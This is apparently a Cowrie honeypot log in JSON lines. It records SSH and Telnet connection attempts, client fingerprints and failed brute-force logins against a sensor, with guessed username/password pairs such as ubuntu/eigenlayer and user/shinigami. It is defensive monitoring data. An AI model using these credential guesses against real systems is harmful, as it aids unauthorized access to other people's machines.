{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:31:33.514666Z","src_ip":"103.170.173.26","session":"79bb85a91da0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.9","message":"Connection lost after 7.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:31:33.519427Z","src_ip":"103.170.173.26","session":"505efeab1d33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":58380,"dst_ip":"10.17.0.5","dst_port":22,"session":"2700d090cdd2","protocol":"ssh","message":"New connection: 2.57.122.96:58380 (10.17.0.5:22) [session: 2700d090cdd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:32:14.087640Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:32:14.091206Z","src_ip":"2.57.122.96","session":"2700d090cdd2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:32:14.192614Z","src_ip":"2.57.122.96","session":"2700d090cdd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"eigenlayer","message":"login attempt [ubuntu/eigenlayer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:32:14.577571Z","src_ip":"2.57.122.96","session":"2700d090cdd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:32:15.682044Z","src_ip":"2.57.122.96","session":"2700d090cdd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":53404,"dst_ip":"159.203.135.109","dst_port":22,"session":"2cb77397231a","protocol":"ssh","message":"New connection: 2.57.122.96:53404 (159.203.135.109:22) [session: 2cb77397231a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:32:30.060743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:32:30.066209Z","src_ip":"2.57.122.96","session":"2cb77397231a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:32:30.171055Z","src_ip":"2.57.122.96","session":"2cb77397231a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"eigenlayer","message":"login attempt [ubuntu/eigenlayer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:32:30.633875Z","src_ip":"2.57.122.96","session":"2cb77397231a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:32:31.735275Z","src_ip":"2.57.122.96","session":"2cb77397231a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.178.104.205","src_port":59652,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf1a25c9044d","protocol":"telnet","message":"New connection: 118.178.104.205:59652 (10.17.0.5:23) [session: cf1a25c9044d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:33:13.111905Z"}
{"eventid":"cowrie.session.connect","src_ip":"118.178.104.205","src_port":45424,"dst_ip":"10.17.0.5","dst_port":23,"session":"f00228b93458","protocol":"telnet","message":"New connection: 118.178.104.205:45424 (10.17.0.5:23) [session: f00228b93458]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:33:13.614125Z"}
{"eventid":"cowrie.session.connect","src_ip":"118.178.104.205","src_port":45436,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d59b3198c41","protocol":"telnet","message":"New connection: 118.178.104.205:45436 (10.17.0.5:23) [session: 3d59b3198c41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:33:17.656070Z"}
{"eventid":"cowrie.session.connect","src_ip":"118.178.104.205","src_port":54822,"dst_ip":"10.17.0.5","dst_port":23,"session":"08c25e22315c","protocol":"telnet","message":"New connection: 118.178.104.205:54822 (10.17.0.5:23) [session: 08c25e22315c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:33:20.596351Z"}
{"eventid":"cowrie.session.connect","src_ip":"118.178.104.205","src_port":45440,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e843ddc2918","protocol":"telnet","message":"New connection: 118.178.104.205:45440 (10.17.0.5:23) [session: 5e843ddc2918]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:33:23.102002Z"}
{"eventid":"cowrie.session.connect","src_ip":"118.178.104.205","src_port":54838,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9ea9c5b3fd7","protocol":"telnet","message":"New connection: 118.178.104.205:54838 (10.17.0.5:23) [session: f9ea9c5b3fd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:33:25.771498Z"}
{"eventid":"cowrie.session.connect","src_ip":"118.178.104.205","src_port":42188,"dst_ip":"10.17.0.5","dst_port":23,"session":"86a25bb18949","protocol":"telnet","message":"New connection: 118.178.104.205:42188 (10.17.0.5:23) [session: 86a25bb18949]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:33:28.503151Z"}
{"eventid":"cowrie.session.connect","src_ip":"118.178.104.205","src_port":42202,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9a9b54e2534","protocol":"telnet","message":"New connection: 118.178.104.205:42202 (10.17.0.5:23) [session: d9a9b54e2534]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:33:34.733742Z"}
{"eventid":"cowrie.session.connect","src_ip":"118.178.104.205","src_port":42210,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec5ca4071b64","protocol":"telnet","message":"New connection: 118.178.104.205:42210 (10.17.0.5:23) [session: ec5ca4071b64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:33:34.756937Z"}
{"eventid":"cowrie.session.connect","src_ip":"118.178.104.205","src_port":43928,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc2da6df275a","protocol":"telnet","message":"New connection: 118.178.104.205:43928 (10.17.0.5:23) [session: bc2da6df275a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:33:42.331951Z"}
{"eventid":"cowrie.session.connect","src_ip":"118.178.104.205","src_port":43914,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f3b983fa40b","protocol":"telnet","message":"New connection: 118.178.104.205:43914 (10.17.0.5:23) [session: 9f3b983fa40b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:33:44.398720Z"}
{"eventid":"cowrie.session.closed","duration":31.26831865310669,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:33:44.882366Z","src_ip":"118.178.104.205","session":"f00228b93458","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.59833240509033,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:33:45.710142Z","src_ip":"118.178.104.205","session":"cf1a25c9044d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.156381368637085,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:33:49.812360Z","src_ip":"118.178.104.205","session":"3d59b3198c41","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.234214067459106,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:33:56.336128Z","src_ip":"118.178.104.205","session":"5e843ddc2918","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.00470447540283,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:33:57.776105Z","src_ip":"118.178.104.205","session":"f9ea9c5b3fd7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.278977155685425,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:33:57.875218Z","src_ip":"118.178.104.205","session":"08c25e22315c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.44599175453186,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:33:59.949022Z","src_ip":"118.178.104.205","session":"86a25bb18949","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.946528673171997,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:34:06.703344Z","src_ip":"118.178.104.205","session":"ec5ca4071b64","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.036131381988525,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:34:06.769783Z","src_ip":"118.178.104.205","session":"d9a9b54e2534","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.11613893508911,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:34:14.447986Z","src_ip":"118.178.104.205","session":"bc2da6df275a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.35554790496826,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:34:16.754169Z","src_ip":"118.178.104.205","session":"9f3b983fa40b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.207.111","src_port":57495,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf4dafab6b62","protocol":"ssh","message":"New connection: 45.79.207.111:57495 (10.17.0.5:22) [session: bf4dafab6b62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:35:06.722341Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:35:06.844631Z","src_ip":"45.79.207.111","session":"bf4dafab6b62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":33222,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa60e03dfb80","protocol":"ssh","message":"New connection: 2.57.122.96:33222 (10.17.0.5:22) [session: aa60e03dfb80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:35:09.697513Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:35:09.702346Z","src_ip":"2.57.122.96","session":"aa60e03dfb80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:35:09.804767Z","src_ip":"2.57.122.96","session":"aa60e03dfb80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"eigen","message":"login attempt [ubuntu/eigen] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:35:10.123435Z","src_ip":"2.57.122.96","session":"aa60e03dfb80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:35:11.294500Z","src_ip":"2.57.122.96","session":"aa60e03dfb80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":48028,"dst_ip":"159.203.135.109","dst_port":22,"session":"c2c994576435","protocol":"ssh","message":"New connection: 2.57.122.96:48028 (159.203.135.109:22) [session: c2c994576435]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:35:25.208624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:35:25.212935Z","src_ip":"2.57.122.96","session":"c2c994576435","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:35:25.313911Z","src_ip":"2.57.122.96","session":"c2c994576435","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"eigen","message":"login attempt [ubuntu/eigen] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:35:25.717964Z","src_ip":"2.57.122.96","session":"c2c994576435","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:35:26.823557Z","src_ip":"2.57.122.96","session":"c2c994576435","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.5.11","src_port":40998,"dst_ip":"159.203.135.109","dst_port":22,"session":"e56c20d8cd61","protocol":"ssh","message":"New connection: 45.79.5.11:40998 (159.203.135.109:22) [session: e56c20d8cd61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:36:41.537274Z"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:36:41.901970Z","src_ip":"45.79.5.11","session":"e56c20d8cd61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":15537,"dst_ip":"159.203.135.109","dst_port":22,"session":"54b39cba7a9b","protocol":"ssh","message":"New connection: 2.57.121.25:15537 (159.203.135.109:22) [session: 54b39cba7a9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:37:03.616386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:37:03.623661Z","src_ip":"2.57.121.25","session":"54b39cba7a9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:37:03.723102Z","src_ip":"2.57.121.25","session":"54b39cba7a9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"shuan","message":"login attempt [user/shuan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:37:04.196443Z","src_ip":"2.57.121.25","session":"54b39cba7a9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"shinigami","message":"login attempt [user/shinigami] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:37:05.298529Z","src_ip":"2.57.121.25","session":"54b39cba7a9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"shimano","message":"login attempt [user/shimano] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:37:06.400424Z","src_ip":"2.57.121.25","session":"54b39cba7a9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"seventeen","message":"login attempt [user/seventeen] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:37:07.501798Z","src_ip":"2.57.121.25","session":"54b39cba7a9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"sestra","message":"login attempt [user/sestra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:37:08.604006Z","src_ip":"2.57.121.25","session":"54b39cba7a9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:37:09.706161Z","src_ip":"2.57.121.25","session":"54b39cba7a9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.19.204","src_port":43670,"dst_ip":"10.17.0.5","dst_port":22,"session":"65001602d61f","protocol":"ssh","message":"New connection: 167.71.19.204:43670 (10.17.0.5:22) [session: 65001602d61f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:37:20.752901Z"}
{"eventid":"cowrie.client.version","version":"GET / HTTP/1.1","message":"Remote SSH version: GET / HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:37:20.756625Z","src_ip":"167.71.19.204","session":"65001602d61f","protocol":"ssh"}
